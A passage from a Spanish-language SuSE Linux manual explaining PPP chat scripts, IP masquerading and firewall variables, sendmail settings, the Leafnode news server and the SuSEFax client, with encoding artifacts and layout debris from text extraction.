Las siguientes lφneas en el script siguen el esquema expuesto a continuaci≤n:
El primer parßmetro (hasta el primer espacio), indica lo que el programa debe
esperar; si recibe esta cadena de parte del modem, el programa responde
envißndole el contenido del resto de la lφnea.
+++ATZ
Aquφ no se espera ninguna cadena si no se inicializa el modem inmediata-
mente, pero esto depende de su modem y del perfil almacenado. El comando
ATZ carga normalmente el perfil 0 del modem (lo mismo ocurre despuΘs de
encenderlo). Tal vez tendrß que poner un comando diferente; para saberlo
puede comparar p. ej. con su software de conexi≤n de DOS o de Windows.
________________________________________________________________________________________________________*
*________||
| Si su modem hace cualquier cosa menos lo que deberφa hacer, es posible *
* ||||
| que se haya desajustado por completo, de tal manera que a veces el prob- *
* |||
| *
* |||
| lema ni siquiera se resuelve con un ATZ . En este caso, lo mejor es enviar *
* |||
| el comando AT&F al modem usando p. ej. Minicom. Con esto, el modem *
* |||
| *
* |||
| se resetea a la configuraci≤n de fßbrica. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Ahora se marca y se ejecuta la secuencia de ''login'', p. ej. :
OK ATDT<n·mero_de_telΘfono>
CONNECT ""
ogin:--ogin: <cuenta>
word: <contrase±a_cuenta>
200
________________________________________________6.7.__Masquerading_y_Firewall_~_amigos_y_''amiguetes''______________________*
*______________________
Introduzca las variables que corresponden a su instalaci≤n en lugar de:
<n·mero`de`telΘfono>, <cuenta> y <contrase±a`cuenta>.
Tenga en cuenta que en este ejemplo se busca solamente word: , porque la
secuencia exacta enviada podrφa ser igualmente Password: o password: .
Con la lφnea
ogin:--ogin:
se pretende conseguir una cierta flexibilidad a la hora de detectar la cadena
que pide la entrada al sistema, ya que se envφa un `Return' si la primera ca-
dena (ogin: ) no fue detectada esperando despuΘs otra vez la cadena (ogin: ).
La pßgina del manual de chat (man 8 chat ) contiene mßs informaci≤n y
ejemplos al respecto.
Allφ se encuentra tambiΘn la ''motivadora'' advertencia:
`` In actual practice, simple scripts are rare. ''
_______________________________________________________________________________________________________________________
|||||||| Ning·n Chat-script debe contener ninguna lφnea vacφa, ning·n espacio al || |
|||||||| || |
|||||||| comienzo de la lφnea y ning·n comentario. || |
||||||||_______________________________________________________________________________________________________________||_
Se puede probar ahora la conexi≤n con el comando /etc/ppp/ppp-up . Los
mensajes de error que genera p. ej. el Chat-script no aparecen en pantalla sino
que se apuntan en el fichero /var/log/messages. Las entradas actuales se
pueden visualizar introduciendo en una segunda consola el comando:
tierra:/ # tail -f /var/log/messages
De este modo se ve en seguida cuando aparecen mensajes importantes.
6.7 Masquerading y Firewall ~ amigos y ''amiguetes''
Muchos usuarios de SuSE Linux usan la computadora como mßquina de ac-
ceso a Internet a travΘs de llamada telef≤nica o a travΘs de una lφnea dedicada.
En la red local se usan muchas veces direcciones IP privadas, que no pueden
acceder directamente a Internet; para habilitar el acceso, existe la posibilidad
de usar la tΘcnica de ''Masquerading''. Para usarla instale el paquete fire-
wals de la serie sec que contiene un script para el uso de masquerading y de
un cortafuegos (ingl. firewall). Ambos servicios se configuran con el fichero
/etc/rc.firewall, ya que es muy recomendable usar tambiΘn un cortafue-
gos para proteger la red contra intrusos. En todo caso lea la documentaci≤n
en /usr/doc/packages/firewals.
_______________________________________________________________________________________________________________________||
|||||||| No se puede garantizar el funcionamiento total de los procedimientos pre- ||| |
|||||||| sentados. Por eso le rogamos no responsabilizar a los autores del libro si || |
|||||||| || |
|||||||| alg·n ''hacker'' entre en su sistema, aunque todo estΘ correctamente config- || |
|||||||| urado. Naturalmente estamos abiertos a crφticas y propuestas presentadas || |
|||||||| || |
|||||||| en feedback@suse.de y si existe algo para mejorar, lo mejoraremos ! || |
||||||||_______________________________________________________________________________________________________________||_
6.7.1 Fundamentos de ''Masquerading''
Para el ''masquerading'' se necesitan dos dispositivos de red; uno de ellos
es generalmente una tarjeta Ethernet, que conecta con la red interna; Θsta
*
* 201
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
debe usar direcciones de red de un ßrea privada, prevista para ello como p. ej.
192.168.0.0 hasta 192.168.255.255 . En este ejemplo supongamos que
el enrutador que estamos configurando, tiene la direcci≤n IP 192.168.0.1
sobre la tarjeta red que conecta hacia la red interna. De este modo resulta que
las computadoras de la red interna tienen las direcciones IP 192.168.0.2 ,
192.168.0.3 , etc.
El dispositivo de red externo es p. ej. la tarjeta RDSI que se usa para el acceso
a Internet o una lφnea dedicada, conectada a una tarjeta Ethernet. Esta es la
suposici≤n para el ejemplo; la configuraci≤n se explica mßs abajo.
6.7.2 Principios de un cortafuegos
En realidad el paquete firewals no contiene ning·n cortafuegos, sino un
''filtro de paquetes''. Este protege la red contra accesos a direcciones IP y
puertos que no estΘn explφcitamente abiertos. Si la computadora act·a como
servidor de web, tiene que tener el puerto 80 abierto, para que se pueda
acceder a ella; asφ que evidentemente la computadora no estß protegida contra
ataques a este puerto. El filtro de paquetes no puede ni debe reemplazar
ning·n cortafuegos a nivel de aplicaci≤n, que debe ser configurado por un
servicio tΘcnico profesional. Sin embargo, la instalaci≤n del filtro de paquetes
ya es una buena medida de seguridad p. ej. para el uso en casa.
6.7.3 Configuraci≤n de Masquerading y/o Firewall
La documentaci≤n sobre el SuSE -Firewall se encuentra en /usr/doc/
packages/firewall y algo de teorφa en el capφtulo 18.1 en la pßgi-
na 451Fundamentossection.18.1.
Todos los detalles de la configuraci≤n se encuentran en el fichero /etc/rc.
firewall y se explican allφ en inglΘs. Aquφ le damos paso por paso las
instrucciones necesarias para una configuraci≤n exitosa. Para cada detalle
de la configuraci≤n se explica si Θsta vale para Firewall o para Masquerading.
Aquφ no se explica el significado de DMZ ''zona no militarizada'', que aparece
en el fichero de configuraci≤n.
Si realmente no necesita nada mßs, aparte de ''Masquerading'', solamente
rellene las lφneas marcadas con Masquerading.
o FW_START (Firewall, Masquerading): Poner en yes para que el script se
inicie. Esto habilita firewall y/o masquerading.
o FW_DEV_WORLD (Firewall, Masquerading): For exampleeth0 . Aquφ se
indica el dispositivo conectado hacia Internet. En caso de RDSI es
p. ej. ippp0 .
o FW_DEV_INT (Firewall, Masquerading): El dispositivo que se conecta con
la red ''privada''. Si no existe ninguna red interna, el cortafuegos solo
protege a la misma computadora; deje este campo vacφo.
o FW_ROUTE (Firewall, Masquerading): Si necesita masquerading, tiene que
indicar aquφ yes . Para tener acceso a la red interna desde afuera, las com-
putadoras internas necesitan tener direcciones IP oficialmente asignadas.
íPor lo general no es aconsejable permitir este acceso! Indicando yes
para el masquerading, las computadoras internas no son visibles desde
202
________________________________________________6.7.__Masquerading_y_Firewall_~_amigos_y_''amiguetes''________________________*
*____________________
fuera, ya que disponen de una direcci≤n IP privada (p. ej. 192.168.x.x ),
que no se ''rutea'' en Internet.
o FW_MASQUERADE (Masquerading): Si necesita masquerading, tiene que
indicar aquφ yes . Para las computadoras internas el acceso a Internet es
mßs seguro si se efect·a a travΘs de un servidor proxy.
o FW_MASQ_NETS (Masquerading): Aquφ se indican las computadoras y/o
las redes que participan en el masquerading. Las entradas se separan con
espacios, p. ej. :
FW_MASQ_NETS="192.168.0.0/24 192.168.10.1"
o FW_PROTECT_FROM_INTERNAL (Firewall): Para proteger el cortafue-
gos tambiΘn contra ataques desde la red interior, hay que indicar aquφ
yes . En tal caso hace falta habilitar explφcitamente aquellos servi-
cios que deben estar disponibles para la red interior. Ver tambiΘn
FW_SERVICES_INTERNAL_TCP y FW_SERVICES_INTERNAL_UDP .
o FW_AUTOPROTECT_GLOBAL_SERVICES (Firewall): Normalmente se deja
en yes .
o FW_SERVICES_EXTERNAL_TCP (Firewall): Aquφ se indican los servicios
a acceder p. ej. "www smtp ftp domain 443" . Para la computadora en
casa, que normalmente no ofrece servicios a una red externa, no se indica
nada.
o FW_SERVICES_EXTERNAL_UDP (Firewall): En este campo se introducen
los puertos necesarios para utilizar un servidor de nombres con acceso
desde afuera, por lo que puede quedar en blanco casi siempre.
o FW_SERVICES_INTERNAL_TCP (Firewall): Aquφ se indican los servicios a
los que tiene acceso la red interna. Es similar a FW_SERVICES_EXTERNAL_TCP ,
pero aquφ las indicaciones se refieren a la red interna.
o FW_SERVICES_INTERNAL_UDP (Firewall): VΘase arriba.
o FW_TRUSTED_NETS (Firewall): Aquφ se apuntan las computadoras que
realmente son de fiar (''Trusted Hosts''). Todas estas computadoras tam-
biΘn deben estar protegidas contra intrusos. For example"172.20.0.0/16 64.33.13.24"
significa que todas las computadoras cuya direcci≤n IP comienza con
172.20.x.x y la que tiene la IP 64.33.13.24 puedan pasar por el
cortafuegos.
o FW_SERVICES_TRUSTED_TCP (Firewall): Aquφ se definen los puertos que
los ''Trusted Hosts'' pueden usar. Para que las computadoras de fiar
puedan acceder a todos los servicios introduzca p. ej. 1:65535 . Normal-
mente es suficiente con indicar el servicio ssh .
o FW_SERVICES_TRUSTED_UDP (Firewall): Lo mismo de arriba, pero ref-
erente a UDP.
o FW_ALLOW_INCOMING_HIGHPORTS_TCP (Firewall): Para trabajar con
FTP normal (activo) hay que indicar aquφ ftp-data .
o FW_ALLOW_INCOMING_HIGHPORTS_UDP (Firewall): Para usar los servi-
dores de nombres que estßn dados de alta en /etc/resolv.conf hay
que introducir dns aquφ. yes abre todos los puertos de n·meros altos.
o FW_SERVICE_DNS (Firewall): Si existe en la red local un servidor de
nombre con acceso desde fuera de la red, hay que indicar yes aquφ; a
su vez el puerto 53 ha de estar abierto.
*
* 203
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
o FW_SERVICE_DHCLIENT (Firewall): Usando el dhclient para recibir la
direcci≤n IP, habrφa que indicar yes .
o FW_LOG_* : Aquφ se pueden indicar los eventos que se van protocolizan-
do en un fichero de butaca (log). Para el uso normal alcanza yes para
FW_LOG_DENY_CRIT .
o FW_STOP_KEEP_ROUTING_STATE (Firewall): En caso de entrar a Internet
de forma automßtica con diald o vφa RDSI (dial on demand) indique yes
aquφ.
Esto es todo. No olvide probar el cortafuegos (p. ej. con telnet desde afuera).
Este intento se muestra en el fichero /var/log/messages aproximadamente
de la siguiente forma:
Feb 7 01:54:14 www kernel: Packet log: input DENY eth0
PROTO=6 129.27.43.9:1427 195.58.178.210:23 L=60 S=0x00
I=36981 F=0x4000 T=59 SYN (#119)
6.8 Vamos a escribir ~ Configuraci≤n de sendmail
Una vez que nos podemos comunicar con el mundo ~ ya sea mediante UUCP,
PPP o RDSI ~ tambiΘn lo queremos aprovechar. Una aplicaci≤n tφpica para
ello es el + E-Mail, el correo electr≤nico, por lo que le presentamos aquφ un
apartado sobre la configuraci≤n de sendmail 3 .
sendmail decide con cußl medio enviar los E-Mail: a travΘs de una red TCP/IP
con el protocolo SMTP, directamente a la carpeta local de E-Mail de un
usuario o a travΘs de otros programas como UUCP.
El fichero de configuraci≤n principal de sendmail es /etc/sendmail.cf.
Con YaST se puede generar el fichero /etc/sendmail.cf, que sirve para
una configuraci≤n sencilla. De hecho los parßmetros de la configuraci≤n se
apuntan primero en /etc/rc.config.d/sendmail.rc.config; SuSEcon-
fig los toma de allφ y genera el fichero /etc/sendmail.cf usando para ello
/sbin/conf.d/SuSEconfig.sendmail.
Los ficheros de configuraci≤n de sendmail son muy complejos pero no se
asuste, pues SuSE Linux incluye dos configuraciones que cubren todos los
casos que generalmente se presentan.
Usando sendmail dentro de una red TCP/IP, es casi obligatorio apoyarse en
un servidor DNS. En este se deberφa poner una entrada extra (''MX record'',
''mail exchange record'') para los E-Mail. La configuraci≤n actual se puede
comprobar con el comando host del paquete bind:
tierra: # host sol.cosmos.univ
sol.cosmos.univ address 192.168.0.1
sol.cosmos.univ mail is handled (pri=10) by sol.cosmos.univ
sol.cosmos.univ mail is handled (pri=100) by mail-relay.cosmos.univ
Si no aparece ninguna entrada para mail, habrß que pedir ayuda al admin-
istrador de DNS.
Usando YaST es posible ajustar los siguientes parßmetros para la con-
figuraci≤n____de____E-Mail____en____/etc/rc.config.d/sendmail.rc.config_
3 Alternativas a sendmail son postfix o qmail ; estos programas no son objeto de discusi≤n en
este libro.
204
_____________________________________________________6.8.__Vamos_a_escribir_~_Configuraci≤n_de_sendmail_____________________*
*______________________
(ver apartado 17.6 en la pßgina 437Las variables en /etc/rc.config
~ Configuraci≤n de sistemasection.17.6 tal como actualmente el fichero
/etc/mail/README.linux):
o SENDMAIL_TYPE="yes"
Esta variable debe tener el valor yes , en caso de que el fichero de configu-
raci≤n de sendmail se deba formar con los valores definidos en /etc/rc.
config.d/sendmail.rc.config. Si quiere generar /etc/sendmail.
cf por su cuenta, debe dar a la variable el valor no .
o SENDMAIL_LOCALHOST=\
"localhost sol.cosmos.univ www.cosmos.univ"
sendmail tiene que saber cußl E-Mail se almacena localmente y cußl tiene
como destino otra computadora. Solo los E-Mail que van a la com-
putadora local se guardan por defecto como E-Mail locales. Usando
SENDMAIL_LOCALHOST se puede indicar nombres de computadoras adi-
cionales ~ separados por espacios ~ que se contemplan como si fueran
locales.
Ejemplo: La computadora se llama sol.cosmos.univ y es tambiΘn servi-
dor web para www.cosmos.univ. Para que se acepte el E-Mail enviado
a www.cosmos.univ, hay que anotar lo siguiente:
SENDMAIL_LOCALHOST="localhost www.cosmos.univ"
o FROM_HEADER=cosmos.univ
Normalmente la direcci≤n del remitente es el nombre de la computadora
local; este parßmetro permite cambiarlo a cualquier otro nombre.
Ejemplo: La computadora se llama tierra.cosmos.univ, pero el E-
Mail debe llegar con el remitente tux@cosmos.univ . Se hace con la
siguiente definici≤n:
FROM_HEADER=cosmos.univ .
o SENDMAIL_SMARTHOST=mail-server.provider.de
A todos los E-Mail no locales, sendmail pregunta por los datos DNS
para despuΘs enviarlos con el protocolo SMTP a la computadora desti-
no. Esta puede estar en cualquier rinc≤n del mundo (donde haya Internet)
y la conexi≤n hacia ella puede ser bastante lenta. Con el parßmetro men-
cionado se puede indicar una computadora intermedia que recibe todo el
E-Mail no local, para enviarlo luego a su destino.
Ejemplo 1: Con el siguiente ejemplo se puede entregar todo el E-Mail al
proveedor, el cual se encarga despuΘs de dejarlo en Internet:
SENDMAIL_SMARTHOST=smtp:servidor-correo.proveeder.es .
Ejemplo 2: Si estß conectado vφa UUCP, puede pasar todo el E-Mail no-
local al servidor UUCP:
SENDMAIL_SMARTHOST=uucp-dom:uucp.cosmos.univ .
o SENDMAIL_NOCANONIFY=no
sendmail comprueba todas las direcciones de E-Mail en los encabeza-
dos y reemplaza los nombres con los ''Fully Qualified Domain Names''
(FQDN) (los nombres de dominio totalmente cualificados). Esta opci≤n
se puede desactivar con yes si al escribir los E-Mail siempre pone el
nombre totalmente cualificado o cuando (por una conexi≤n telef≤nica) no
siempre tiene acceso a un servidor DNS.
*
* 205
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
o SENDMAIL_ARGS="-bd -q30m -om"
Cuando la computadora arranca, sendmail se inicia con los parßmetros
que se indican aquφ.
-q30m significa que sendmail comprueba cada 30 minutos si todavφa hay
E-Mail no enviado en el directorio de cola /var/spool/mqueue.
-bd hace que sendmail se inicie en el ''daemon mode'' (modo daemon)
para aceptar el E-Mail de otras computadoras a travΘs de la red TCP/IP.
En caso de conexiones ''dialup'' (conexiones temporales por telΘfono) se
podrφa p. ej. suprimir -q30m y mandar los E-Mail solo con una llamada
directa con sendmail -q ; esta llamada a su vez se podrφa automatizar
con una entrada en crontab y asφ p. ej. mandar el correo una vez al dφa.
Otra posibilidad es la de incorporar sendmail -q en los scripts de es-
tablecimiento de conexi≤n con lo cual se transfiere el E-Mail cada vez
que se establece la comunicaci≤n.
o SENDMAIL_EXPENSIVE=no
sendmail intenta pasar inmediatamente el E-Mail a travΘs de SMTP a la
pr≤xima computadora. Si la conexi≤n a Internet es temporal (''Dial-On-
Demand''), tal vez no quiera realizar una conexi≤n al proveedor para cada
E-Mail que haya escrito.
Si escoge yes , todo el E-Mail se guarda primero en el directorio de cola
/var/spool/mqueue y se envφa mßs tarde.
Todo el E-Mail local se guarda en las carpetas locales de E-Mail
(/var/spool/mail/<name> ) usando el programa procmail . Este pro-
grama es muy flexible y se explica en detalle en pßgina del manual de
procmailrc (man procmailrc ), en pßgina del manual de procmailex
(man procmailex ) y en pßgina del manual de procmail (man procmail ).
Si no es posible enviar el E-Mail, los mensajes se guardan en el directorio de
cola /var/spool/mqueue y sendmail los transmite en el pr≤ximo ''Queue-
Run''. El intervalo de tiempo de los ''Queue-Runs'' debe indicarse cuando
se inicia sendmail o la transferencia de mensajes comienza explφcitamente
cuando se ejecuta sendmail -q .
Los ajustes adicionales de sendmail se realizan en los ficheros /etc/
aliases y en algunos ficheros en el directorio /etc/mail/. Los ficheros
contienen ejemplos desactivados por sφmbolos de comentario. Algunos de los
ficheros de texto deben ser convertidos a ficheros de banco de datos usando
el programa makemap ; este proceso se inicia automßticamente ejecutando
SuSEconfig o saliendo de YaST .
Para realizar una configuraci≤n compleja es mejor desactivar la generaci≤n
automßtica de /etc/sendmail.cf, poniendo SENDMAIL_TYPE=no , y usar
/etc/mail/linux.mc como plantilla para la configuraci≤n propia. linux.
mc contiene instrucciones para m4 , asφ que
tierra: # m4 /etc/mail/linux.mc > /etc/sendmail.cf
genera una configuraci≤n de sendmail vßlida, usando las macros en /usr/
share/sendmail.
Los directorios /etc/mail, /usr/share/sendmail y /usr/doc/packages/
sendmail contienen documentaci≤n adicional. En cuanto a documentaci≤n
en el web, lo mejor es comenzar con http://www.sendmail.org/. Para
206
_______________________________________________________6.9.__News:_Las_noticias_mßs_actuales_de_USENET______________________*
*______________________
tareas mßs complejas probablemente sea inevitable consultar el libro de la
editorial O'Reilly 4 , que contiene una documentaci≤n muy buena y amplia
sobre la configuraci≤n de sendmail .
6.9 News: Las noticias mßs actuales de USENET
Uno de los servicios mßs importantes que ofrece Internet es la transmisi≤n
y distribuci≤n de noticias, organizadas por temas en distintos grupos (ingl.
Newsgroups). Esta parte de Internet se denomina ''USENET'', cuya existen-
cia hizo posible el desarrollo de Linux y, solo gracias a esta forma de comu-
nicaci≤n libre y altamente eficaz, Linux sigue desarrollßndose rßpidamente
tal como se pueden arreglar, igual de rßpido, errores del sistema 5 . Ademßs,
respecto al soporte, la USENET es un medio importante entre los usuarios de
Linux.
La descripci≤n completa de un sistema de noticias con todas sus posibilidades
(como p. ej. los traspasos a otras computadoras) serφa demasiado para este
libro, asφ que aquφ nos limitamos a la configuraci≤n de un sistema local de
noticias.
_______________________________________________________________________________________________________________________||
|||||||| Para sistemas grandes se recomienda apoyarse en el paquete inn, serie n. ||| |
|||||||| En /usr/doc/packages/inn hay consejos para la instalaci≤n de INN, || |
|||||||| || |
|||||||| programa tambiΘn preferible para los sistemas UUCP. ~ El soporte de in- || |
|||||||| stalaci≤n no cubre la configuraci≤n de INN (ver apartado H.1.2 en la pßgi- || |
|||||||| || |
|||||||| na 541Cobertura del soporte de instalaci≤nsubsection.H.1.2). || |
||||||||_______________________________________________________________________________________________________________||_
6.9.1 El sistema de noticias Leafnode
El paquete leafnode es un sistema de noticias, id≤neo para redes peque±as
o computadoras solitarias con una conexi≤n a Internet sencilla y no nece-
sariamente rßpida . El paquete contiene varias partes: El servidor NNTP
leafnode en sφ, el programa fetchnews (antes fetch) para traer las noticias
y el programa texpire para borrar las noticias antiguas o las que han deja-
do de ser interesantes; aparte hay herramientas para administrar los datos
en /var/spool/news. El uso de todos estos componentes se documen-
ta en /usr/doc/packages/leafnode tal como en pßgina del manual de
leafnode (man 8 leafnode ) y los + Manpages, que se mencionan allφ.
_______________________________________________________________________________________________________________________
|||||||| Consulte tambiΘn las advertencias respecto a la actualizaci≤n en el aparta- || |
|||||||| || |
|||||||| do 15.2.8 en la pßgina 402De 6.2 a 6.3subsection.15.2.8. || |
||||||||_______________________________________________________________________________________________________________||_
Requisitos para la instalaci≤n de Leafnode
o Hay que tener acceso directo a un servidor NNTP externo a travΘs de
modem (PPP), una conexi≤n RDSI u otra conexi≤n de red (p. ej. Ether-
net). Desde este servidor NNTP puede recibir entonces las noticias (ingl.
4 ____________________________________________________
ver [CAR93 ].
5 En realidad ahora son muchas las listas de correo, en diversas ßreas, que cumplen con esta
funci≤n.
*
* 207
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
News). En caso de duda pregunte a su proveedor de Internet (+ ISP) por
los datos del servidor NNTP a usar.
o El paquete leafnode, serie n debe estar instalado.
o Espacio de disco en /var/spool/news ;-)
o Pasar por los puntos que figuran a continuaci≤n.
Servidor local de NNTP
Cerci≤rese que Leafnode corre como servidor NNTP local
1. Ponga la variable <NNTPSERVER> del fichero /etc/rc.config en
localhost . Por supuesto puede indicar tambiΘn el nombre ''verdadero''
de su computadora en lugar de localhost (p. ej. tierra), si su com-
putadora estß configurada correctamente; de hecho esto es obligatorio en
una red. Lo mßs seguro para definir la variable <NNTPSERVER> es el
uso de YaST (ver apartado 3.7.12 en la pßgina 116Cambiar fichero de
configuraci≤nsubsection.3.7.12), ya que_YaST_ inicia automßticamente el
script SuSEconfig cuando se sale con |F____1|0del formulario.
2. Adapte el fichero /etc/leafnode/config a sus necesidades mediante
un + Editor . En la lφnea de server = es obligatorio indicar el nombre
del servidor NNTP de su proveedor.
3. El inetd tiene que iniciar leafnode . Para ello habilite la lφnea con nntp
en /etc/inetd.conf, borrando en esa misma lφnea el sφmbolo `#' (ver
fichero 6.9.1).
4. Inicie inetd de nuevo a mano, para que la nueva configuraci≤n tenga
efecto; para ello puede usar el comando rcinetd restart .
________________________________________________________________________________________________________*
*________
| nntp stream tcp nowait news /usr/sbin/tcpd *
* |
| *
* |
| /usr/sbin/leafnode *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 6.9.1: Entrada en inetd para leafnode
Ahora a nivel local, estß todo preparado para establecer, por primera vez, el
contacto con el servidor de noticias del proveedor.
________________________________________________________________________________________________________*
*________
| Con el comando telnet localhost 119 puede comprobar si leafnode *
* ||||
| *
* |||
| responde. Si es el caso, introduzca quit , para volver a la lφnea de coman- *
* |||
| do. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Iniciar y usar el sistema de noticias
Ahora puede inicializar el sistema. Si a·n no lo ha hecho, establezca una
conexi≤n IP hacia su proveedor de Internet (generalmente por modem o In-
ternet). Durante el primer contacto con fetchnews , la informaci≤n disponible
sobre los grupos de noticias se copia desde el servidor al directorio local
/var/spool/news/interesting.groups. Para conocer en detalle lo que
hace fetchnews , use la opci≤n -vvv :
tierra:~ # fetchnews -vvv
208
_____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
*______________________
A·n no hay artφculos disponibles ~ sin embargo tiene que usar un lector
de noticias NNTP y echar un vistazo a los grupos que todavφa estßn vacφos
(ver apartado 6.9.1). leafnode toma nota de ello y llenarß exactamente estos
grupos con noticias cuando se ejecute la pr≤xima vez fetchnews .
Puede incorporar la llamada a fetchnews en su script de inicio de conexi≤n
/etc/ppp/ip-up, para no tener que hacerlo a mano cada vez que se conecte
a Internet.
Administrar el sistema de noticias
leafnode se dise±≤ seg·n el principio de la auto-administraci≤n. Esto quiere
decir que, fetchnews deja de traer las noticias de un determinado grupo si
Θstas no fueron consultadas por parte de ning·n usuario, durante un perφodo
determinado.
La ·nica preocupaci≤n es bßsicamente la de borrar artφculos antiguos; de
esto se encarga texpire . El fichero /etc/crontab ya contiene una lφnea
correspondiente ~ simplemente borre el sφmbolo de comentario `#' como
se muestra en fichero 6.9.2 (ítodo debe estar en una sola lφnea!).
_______________________________________________________________________________________________________________________
|||||||| 0 22 * * * root test -x /usr/sbin/texpire && /usr/sbin/texpire |
||||||||_______________________________________________________________________________________________________________ |
Fichero 6.9.2: Lφnea de texpire para leafnode en /etc/crontab
En la pßgina del manual de leafnode (man leafnode ) hay detalles sobre
las posibilidades de ajuste que se pueden realizar mediante el fichero /etc/
leafnode/config.
Leer las noticias
Para leer las noticias existen diferentes programas al alcance como p. ej. nn ,
tin o pine ; se puede usar tambiΘn Netscape o Emacs . La elecci≤n es final-
mente una cuesti≤n de gusto personal. Es posible configurar los lectores de
noticias para el acceso a un servidor de noticias ~ lo usual en una red ~ o
para el acceso al directorio ''spool'' local. La serie n de SuSE Linux incluye
paquetes que estßn configurados de este modo.
Si se desea acceder al servidor-NNTP leafnode con tin , entonces active lector
de noticias con el comando rtin (ver apartado 6.9.1 en la pßgina 207El
sistema de noticias Leafnode subsection.6.9.1).
6.10 Linux + Fax: íUna buena combinaci≤n!
Hay dos posibilidades para usar su PC Linux como un fax:
o Usar mgetty en combinaci≤n con sendfax y p. ej. las herramientas del
paquete g3utils.
o Usar el servidor fax HylaFAX p. ej. en combinaci≤n con SuSEFax , el
nuevo entorno para fax de SuSE , escrito completamente en Java.
*
* 209
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| A partir de SuSE Linux 6.3 el paquete mgetty se ha dividido en tres, *
* ||||
|| el paquete mgetty, el paquete sendfax y el paquete sendfax. Una de *
* ||||
| las razones es que el paquete hylafax contiene algunos comandos con el *
* ||||
| *
* |||
| mismo nombre que los del paquete sendfax. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Los dos apartados siguientes explican el uso y la configuraci≤n de SuSEFax
y HylaFAX bajo SuSE Linux.
6.10.1 SuSEFax ~ Un cliente para HylaFAX
Como ya se ha mencionado, SuSEFax estß escrito en Java, por lo que hace
falta instalar el ''Java Developers Kit'' (Kit para desarrolladores en Java)
en combinaci≤n con el paquete susefax. Si quiere usar SuSEFax sobre
otra plataforma, lo mejor es instalar el paquete susefax y copiar todos los
ficheros que se encuentran en /usr/lib/SuSEFax.
El ''Wrapper''
SuSEFax se inicia por medio de un peque±o script llamado ''Wrapper'' (el
"Empaquetador"), el cual activa el interpretador de Java con los parßmet-
ros necesarios y controla el cumplimiento de ciertos requisitos; este script
se encuentra en /usr/X11/bin/susefax. Se puede ajustar el programa
SuSEFax con unos parßmetros de entorno, las propiedades del sistema (in-
gl. System Properties). La tabla 6.2 en la pßgina siguiente muestra las
propiedades del programa, sus significados y los valores que se usan por
defecto cuando no se pasa ning·n parßmetro al interpretador. Si el programa
corre bajo un sistema operativo que permite administrar diferentes usuarios,
generalmente carece de sentido indicar alguno de ellos aparte del parßmetro
susefax.images. Esto quiere decir que el sistema debe asignar a cada
usuario un directorio personal (''home'') como lo hacen los sistemas UNIX
y Windows NT , pero no OS/2 . En sistemas que no son multiusuario deben
configurarse los valores de susefax.setup.path, susefax.setup.file
y susefax.phonebook.file, ya que en caso contrario es posible que el
programa no funcione. Esto no se ha probado a·n.
Para cambiar uno o varios de los parßmetros, simplemente quite los sφmbolos
de comentario detrßs de los nombres de las variables (ver fichero 6.10.1).
________________________________________________________________________________________________________*
*________||
| # if you want to store the settings other than *
* |
| *
* |
| # $HOME/.susefaxrc, then you may place another path and/or *
* |
| # filename here *
* |
| *
* |
| *
* |
| SETUPDIR= # -Dsusefax.setup.path=/donde/sea *
* |
| SETUPFILE= # -Dsusefax.setup.file=/lo/que/sea *
* |
| *
* |
| *
* |
| # even the phonebook can be renamed to whatever *
* |
| *
* |
| *
* |
| PHONEBOOK= # -Dsusefax.phonebook.file=el_nombre_que_sea *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 6.10.1: Extracto del Wrapper: /usr/X11/bin/susefax
210
_____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
*______________________
___________________________________________________________________________________________________________________________
||||||||__Propiedad_______________________Valor|def.______|______Significado_________________________________|______________
|||||||| susefax.setup.path | $HOME | Rama en la cual se guarda el |
|||||||| | | fichero de configuraci≤n y el |
|||||||| | | |
|||||||| | | banco de datos de n·meros |
|||||||| | | |
||||||||______________________________|____________________|_____telef≤nicos_________________________________|_____________
|||||||| susefax.setup.file | .susefaxrc | Nombre para el fichero de |
|||||||| | | |
||||||||______________________________|_______________|__________configuraci≤n_______________________________|_____________
|||||||| susefax.phonebook.file | .susephone | Nombre del banco de datos |
|||||||| | | |
||||||||__________________________|___________________|__________de_n·meros_telef≤nicos______________________|_____________|*
*|||
|||||||| susefax.images |./images | Rama en la que se encuen- |
|||||||| | | tran las imßgenes necesarias |
|||||||| | | |
||||||||__________________________________|______________|_______para_los_dißlogos___________________________|_____________
Tabla 6.2: Las System Properties de SuSEFax
Instrucciones de uso
La figura 6.7 en la pßgina siguiente muestra c≤mo aparece la ventana principal
despuΘs de haber activado la opci≤n `Send Queue' y haber apretado el bot≤n
`Get Status' con el cual se obtiene informaci≤n sobre las tareas que estßn
actualmente en la cola de impresi≤n, o sea, los faxes que se enviaron en
los ·ltimos minutos; si se activa la opci≤n `Receive Queue', se registran
todos los faxes recibidos durante los ·ltimos dφas y seleccionando la opci≤n
`Automatic Renewal/(Actualisation)' la lista de tareas se actualiza
en intervalos de tiempo. La duraci≤n de este intervalo se_puede_indicar en
el recuadro por debajo del bot≤n (confirmar con |_____-|). Seg·n la opci≤n
activada (`Send Queue' o `Receive Queue') se anota a la derecha de la
lista lo que significarφa un doble-click sobre una de las tareas. En el modo
`Send Queue' se puede decidir sobre el efecto del doble-click: este puede
ser el de borrar la tarea en la cola o el de tener la posibilidad de modificar
los parßmetros de la misma. Con el men· `Extras' se puede seleccionar el
idioma (inglΘs o alemßn ).
íPrimero la configuraci≤n!
No se puede obtener ninguna informaci≤n sobre el servidor ni modificar nada
antes de haber configurado el programa. Esto se lleva a cabo con la opci≤n
`Main settings' en el men· `Program'. Todas las configuraciones se
guardan despuΘs de salir de cualquier cuadro de dißlogo y a su vez se guarda
el estado actual de la configuraci≤n en el momento de salir del programa.
Configuraci≤n global
